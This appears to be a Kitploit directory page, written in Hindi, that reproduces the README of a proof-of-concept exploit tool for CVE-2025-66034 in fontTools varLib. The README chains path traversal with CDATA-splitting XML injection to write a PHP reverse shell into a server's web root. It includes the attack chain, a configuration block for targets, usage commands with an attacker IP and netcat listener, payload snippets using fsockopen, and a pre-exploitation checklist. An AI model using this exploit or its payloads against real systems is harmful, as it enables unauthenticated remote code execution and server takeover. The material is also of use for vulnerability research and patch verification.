Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC-CVE-2025-66034 — CVE-2025-66034 के लिए स्वचालित शोषण, fontTools varLib में पथ ट्रैवर्सल और XML इंजेक्शन को श्रृंखलित करके, क्राफ्टेड .designspace फ़ाइल अपलोड के माध्यम से अप्रमाणित रिमोट कोड निष्पादन प्राप्त करना। | Kitploit
उपकरण/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणबाइनरी विश्लेषणलर्निंग और शिक्षारिमोट एक्सेस टूल
GitHubv3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

CVE-2025-66034 के लिए स्वचालित शोषण, fontTools varLib में पथ ट्रैवर्सल और XML इंजेक्शन को श्रृंखलित करके, क्राफ्टेड .designspace फ़ाइल अपलोड के माध्यम से अप्रमाणित रिमोट कोड निष्पादन प्राप्त करना।

रिपॉजिटरी देखें
45 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

font_varlib.py — CVE-2025-66034

fontTools varLib — मनमानी फ़ाइल लेखन + XML इंजेक्शन → रिमोट कोड निष्पादन

CVE Component Class Language Deps License


विषय-सूची

  • अवलोकन
  • भेद्यता विवरण
  • हमला श्रृंखला
  • आवश्यकताएँ
  • स्थापना
  • कॉन्फ़िगरेशन
  • उपयोग
  • यह कैसे काम करता है
  • भेद्य कोड
  • शोषण-पूर्व जाँच सूची
  • परीक्षण किया गया
  • अस्वीकरण
  • संदर्भ

अवलोकन

CVE-2025-66034 fontTools.varLib वेरिएबल फ़ॉन्ट जनरेशन पाइपलाइन में एक भेद्यता है। जब कोई वेब एप्लिकेशन इस पाइपलाइन को उजागर करता है और उपयोगकर्ता द्वारा प्रदान की गई .designspace फ़ाइलों को स्वीकार करता है, तो दो कमज़ोरियाँ मिलकर अप्रमाणित रिमोट कोड निष्पादन प्राप्त करती हैं।

font_varlib.py संपूर्ण शोषण श्रृंखला को स्वचालित करता है — फ़ॉन्ट जनरेशन, पेलोड निर्माण, अपलोड और रिवर्स शेल वितरण।


भेद्यता विवरण

कमज़ोरी श्रृंखला


हमला श्रृंखला

root@kitploit:~
हमलावर दुर्भावनापूर्ण .designspace बनाता है
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── पथ ट्रैवर्सल
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir त्याग दिया गया → वेब रूट पर लिखें
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XML इंजेक्शन
                         CDATA विभाजन कच्चे PHP को
                         आउटपुट फ़ॉन्ट बाइनरी में एम्बेड करता है
            │
            ▼
    fontTools.varLib.main() सर्वर-साइड फ़ाइल को संसाधित करता है
            │
            ▼
    shell.php वेब-सुलभ निर्देशिका में लिखा जाता है
            │
            ▼
    GET /files/shell.php → PHP निष्पादित होता है → रिवर्स शेल कॉलबैक
            │
            ▼
    www-data के रूप में RCE

आवश्यकताएँ

Python: 3.9+

निर्भरताएँ:

root@kitploit:~
pip install fonttools requests

सिस्टम:

root@kitploit:~
nc (netcat) — स्वचालित लिसनर मोड के लिए आवश्यक (--no-listen इसे छोड़ देता है)

स्थापना

root@kitploit:~
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

कॉन्फ़िगरेशन

चलाने से पहले, font_varlib.py खोलें और फ़ाइल के शीर्ष पर कॉन्फ़िग ब्लॉक को अपने लक्ष्य से मेल खाने के लिए अपडेट करें। प्रत्येक मान में एक इनलाइन टिप्पणी है जो बताती है कि यह क्या है और सही मान कैसे खोजें।

root@kitploit:~
# ══════════════════════════════════════════════════════════════════════════════
#  डिफ़ॉल्ट
#  चलाने से पहले इन्हें अपने लक्ष्य से मिलाने के लिए बदलें।
#  सभी मानों को CLI फ़्लैग के ज़रिए रनटाइम पर भी ओवरराइड किया जा सकता है — देखें --help।
# ══════════════════════════════════════════════════════════════════════════════

# अपलोड होस्ट का बेस URL (वह साइट जो .designspace स्वीकार करती है)
UPLOAD_HOST      = "http://test.com"

# अपलोड होस्ट पर पथ जो मल्टीपार्ट फ़ॉर्म POST को संसाधित करता है
# Burp से पुष्टि करें — जनरेट बटन पर क्लिक करने के बाद POST देखें
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# सर्वर पर पूर्ण फाइलसिस्टम पथ जहाँ आउटपुट फ़ाइलें लिखी जाती हैं
# वेब-सुलभ होना चाहिए ताकि शेल को HTTP के माध्यम से ट्रिगर किया जा सके
WEBROOT          = "/var/www/test.com/public/files"

# लिखी गई शेल फ़ाइल को लाने/ट्रिगर करने के लिए उपयोग किया जाने वाला बेस URL
# डिस्क पर WEBROOT से मैप होता है
SHELL_HOST       = "http://testing.test.com/files"

# मल्टीपार्ट फ़ॉर्म फ़ील्ड नाम — चलाने से पहले Burp से पुष्टि करें
# यदि अपलोड चुपचाप विफल होता है (HTTP 200 लेकिन कोई शेल नहीं), तो गलत फ़ील्ड नाम कारण हैं
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# शेल फ़ाइल नाम उपसर्ग — रनटाइम पर यादृच्छिक प्रत्यय जोड़ा जाता है
SHELL_PREFIX     = "f0nt_"

# यादृच्छिक प्रत्यय की लंबाई — लंबा = अनुमान लगाना कठिन
SHELL_SUFFIX_LEN = 8

सुझाव: चलाने से पहले Burp Suite में एक वैध अपलोड अनुरोध को इंटरसेप्ट करके UPLOAD_ENDPOINT और सटीक मल्टीपार्ट फ़ील्ड नामों की पुष्टि करें। फ़ील्ड नामों में बेमेल एक मूक विफलता का कारण बनता है — सर्वर HTTP 200 लौटाता है लेकिन कोई शेल नहीं लिखा जाता है।


उपयोग

बेसिक — स्वचालित nc लिसनर

root@kitploit:~
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>

मैनुअल लिसनर — स्वयं nc शुरू करें

root@kitploit:~
# टर्मिनल 1 — अपना लिसनर शुरू करें
nc -lvnp 4444

# टर्मिनल 2 — बिना स्वचालित लिसनर के शोषण चलाएँ
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen

कस्टम लक्ष्य — रनटाइम पर सभी डिफ़ॉल्ट ओवरराइड करें

root@kitploit:~
python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

पूर्ण विकल्प संदर्भ


यह कैसे काम करता है

चरण 1 — फ़ॉन्ट जनरेशन

दो न्यूनतम लेकिन संरचनात्मक रूप से मान्य .ttf स्रोत फ़ाइलें fontTools.FontBuilder का उपयोग करके प्रोग्रामेटिक रूप से उत्पन्न की जाती हैं। varLib को वेरिएबल फ़ॉन्ट को संसाधित करने के लिए कम से कम दो अक्षीय मास्टर्स की आवश्यकता होती है — ये बिना डिस्क पर वास्तविक फ़ॉन्ट फ़ाइलों की आवश्यकता के उस आवश्यकता को पूरा करते हैं।

चरण 2 — पेलोड निर्माण

एक दुर्भावनापूर्ण .designspace XML फ़ाइल बनाई जाती है जिसमें दोनों आक्रमण प्रिमिटिव एम्बेडेड होते हैं:

प्रिमिटिव 1 — CDATA विभाजन के माध्यम से XML इंजेक्शन:

root@kitploit:~
<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

अनुक्रम ]]]]><![CDATA[> वर्तमान CDATA ब्लॉक को समाप्त करता है और तुरंत एक नया खोलता है। XML पार्सर इसे मान्य मार्कअप के रूप में संसाधित करता है, लेकिन varLib सामग्री को शब्दशः आउटपुट फ़ाइल में क्रमबद्ध करता है — फ़ॉन्ट बाइनरी में कच्चा PHP एम्बेड करता है।

प्रिमिटिव 2 — filename विशेषता के माध्यम से पथ ट्रैवर्सल:

root@kitploit:~
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

varLib आउटपुट पथ इस प्रकार बनाता है:

root@kitploit:~
output_path = os.path.join(output_dir, filename)

जब filename एक पूर्ण पथ है, तो Python का os.path.join() output_dir को पूरी तरह से त्याग देता है। प्रभावित संस्करणों में कोई सैनिटाइज़ेशन लागू नहीं किया जाता है।

चरण 3 — अपलोड

.designspace और दोनों .ttf फ़ाइलों को लक्ष्य के फ़ॉन्ट जनरेशन एंडपॉइंट पर Burp से पुष्टि किए गए फ़ील्ड नामों का उपयोग करके मल्टीपार्ट POST के रूप में भेजा जाता है।

चरण 4 — ट्रिगर

लिखी गई .php फ़ाइल के लिए एक HTTP GET रिवर्स शेल को निष्पादित करता है, जो fsockopen + proc_open के माध्यम से हमलावर के nc लिसनर से वापस जुड़ता है — लक्ष्य पर कोई curl, wget या Python की आवश्यकता नहीं है।


भेद्य कोड

fontTools/varLib/__init__.py (प्रभावित संस्करण):

root@kitploit:~
filename = vf.filename                             # हमलावर-नियंत्रित, असैनिटाइज्ड
output_path = os.path.join(output_dir, filename)  # पूर्ण पथ के माध्यम से पथ ट्रैवर्सल
vf.save(output_path)                              # मनमानी फ़ाइल लेखन

4.60.2 में पैच — output_path बनाने से पहले filename पर os.path.basename() लागू करता है, सभी पथ ट्रैवर्सल अनुक्रमों को हटाता है।


शोषण-पूर्व जाँच सूची

चलाने से पहले, निम्नलिखित सभी की पुष्टि करें:

root@kitploit:~
[ ] लक्ष्य पर fonttools संस्करण >= 4.33.0 और < 4.60.2 है
[ ] लक्ष्य .designspace + .ttf फ़ाइल अपलोड स्वीकार करता है
[ ] बैकएंड अपलोड किए गए .designspace पर fontTools.varLib.main() कॉल करता है
[ ] अपलोड फ़ॉर्म फ़ील्ड नाम Burp से पुष्टि किए गए (designspace + masters)
[ ] WEBROOT बाहर से वेब-सुलभ है
[ ] WEBROOT वेब प्रक्रिया (www-data या समकक्ष) द्वारा लिखने योग्य है
[ ] SHELL_HOST (--shell) आपकी मशीन से पहुँच योग्य है
[ ] लक्ष्य होस्टनाम /etc/hosts में हैं

परीक्षण किया गया

वातावरणfonttools संस्करणपरिणाम
Ubuntu 22.04 / Python 3.114.59.0✓ पुष्टि

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।

किसी भी ऐसी प्रणाली के विरुद्ध उपयोग न करें जिसके आप स्वामी नहीं हैं या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग या इस सॉफ़्टवेयर के कारण होने वाली किसी भी क्षति के लिए कोई जिम्मेदारी नहीं लेता है।


संदर्भ

टूल डाउनलोड करें
क्षेत्रविवरण
CVE IDCVE-2025-66034
GHSAGHSA-768j-98cg-p3fv
पैकेजfonttools (pip)
प्रभावित श्रेणी>= 4.33.0, < 4.60.2
सुधारित संस्करण4.60.2
गंभीरतामध्यम (CVSS 6.3)
आक्रमण वेक्टरस्थानीय (लक्ष्य पर फ़ाइल अपलोड की आवश्यकता)
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता सहभागिताआवश्यक (अपलोड ट्रिगर)
#प्रिमिटिवCWEमूल कारण
1पथ ट्रैवर्सलCWE-22.designspace में filename विशेषता बिना सैनिटाइज़ेशन के सीधे os.path.join() को दी जाती है — पूर्ण पथ इच्छित आउटपुट निर्देशिका को पूरी तरह से त्याग देते हैं
2XML इंजेक्शनCWE-91<labelname> CDATA अनुभाग एक विभाजन अनुक्रम (]]]]><![CDATA[>) की अनुमति देते हैं जो कच्चे PHP को XML पार्सर से बचाकर लिखी गई आउटपुट फ़ाइल में तस्करी करता है
तर्कआवश्यकडिफ़ॉल्टविवरण
--ip✓—हमलावर लिसनर का IP
--port✓—हमलावर लिसनर का पोर्ट
--uploadUPLOAD_HOST + UPLOAD_ENDPOINTअपलोड एंडपॉइंट (POST)
--webrootWEBROOTसर्वर-साइड फाइलसिस्टम लेखन पथ (वेब-सुलभ होना चाहिए)
--shellSHELL_HOSTलिखी गई शेल को ट्रिगर करने के लिए बेस URL
--no-listenfalseस्वचालित nc लिसनर छोड़ें — केवल ट्रिगर करें
संसाधनलिंक
NVD — CVE-2025-66034https://nvd.nist.gov/vuln/detail/CVE-2025-66034
fontTools सुरक्षा सलाहhttps://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv
पैच कमिट — a696d5bhttps://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32
fontTools प्रोजेक्टhttps://github.com/fonttools/fonttools